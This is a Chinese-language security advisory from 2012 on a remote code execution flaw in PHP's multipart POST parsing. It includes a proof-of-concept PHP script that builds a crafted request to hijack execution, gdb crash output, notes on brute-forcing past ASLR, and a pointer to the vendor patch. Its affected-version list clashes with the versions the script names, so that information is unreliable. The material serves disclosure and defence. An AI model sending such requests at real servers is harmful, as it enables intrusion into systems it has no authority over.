发布日期：2012-02-17
更新日期：2012-02-20
受影响系统：
PHP PHP 5.2.x
不受影响系统：
PHP PHP 5.3
描述：
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BUGTRAQ ID: 52065
PHP是一种在电脑上运行的脚本语言，主要用途是在于处理动态网页，包含了命令行运行接口或者产生图形用户界面程序。
PHP在filter_globals结构的实现上存在远程代码执行漏洞，攻击者可利用此漏洞执行任意代码，控制应用程序。
<*来源：Worawit Wang
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Worawit Wang （）提供了如下测试方法：
<?php
/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111
(C) Copyright 2012 Stefan Esser
PHP 5.3.9 requires you to know the address of a writable address filled with NULL.
32bit requires you to create a fake 32bit Hashtable instead of a 64bit one
Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000
tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX
better exploit might be possible after deeper research + heap massage
This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,
__zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)
at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398
398 ht->pDestructor(p->pData);
(gdb) i r
rax 0x7fd9583352a0 140571464389280
rbx 0x0 0
rcx 0x8 8
rdx 0x111111111111111 76861433640456465
rsi 0x7fd95a077b08 140571495070472
rdi 0x7fd9583352a0 140571464389280
rbp 0x7fff75c47ae0 0x7fff75c47ae0
rsp 0x7fff75c47a80 0x7fff75c47a80
r8 0x7fff75c47bc8 140735169199048
r9 0x1 1
r10 0x6238396661373430 7077469926293189680
r11 0x7fd962f4c8e0 140571644840160
r12 0x7fd966b91da8 140571708038568
r13 0x0 0
r14 0xffffffff00000001 -4294967295
r15 0x7fd964b10538 140571673953592
rip 0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477> eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/5i $rip
=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq *%rdx
0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp)
0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne 0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625> 0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov -0x18(%rbp),%rax
0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov 0x10(%rax),%rax
(gdb)
*/
$boundary = md5(microtime());
$varname = "xxx";
$payload = "";
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data;'."\n\n";
$payload .= chr(16);
for ($i=1; $i<7*8; $i++) {
$payload .= chr(0);
}
for ($i=1; $i<8; $i++) {
$payload .= "\x11";
}
$payload .= chr(1);
for ($i=16+48+1; $i<128; $i++) {
$payload .= chr(0);
}
$payload .= "\n";
for ($i=0; $i<1000; $i++) {
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data;'."\n\n";
$payload .= "aaa\n";
}
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data;'."\n\n";
$payload .= "aaa\n";
$payload .= "--$boundary\n";
$payload .= 'Content-Disposition: form-data;'."\n\n";
$payload .= "aaa\n";
$payload .= "--$boundary--\n";
echo "POST /index.php HTTP/1.0\n";
echo "Content-Type: multipart/form-data; boundary=$boundary\n";
echo "Content-Length: ",strlen($payload),"\n";
echo "\n";
echo "$payload";
?>
建议：
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厂商补丁：
PHP
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目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
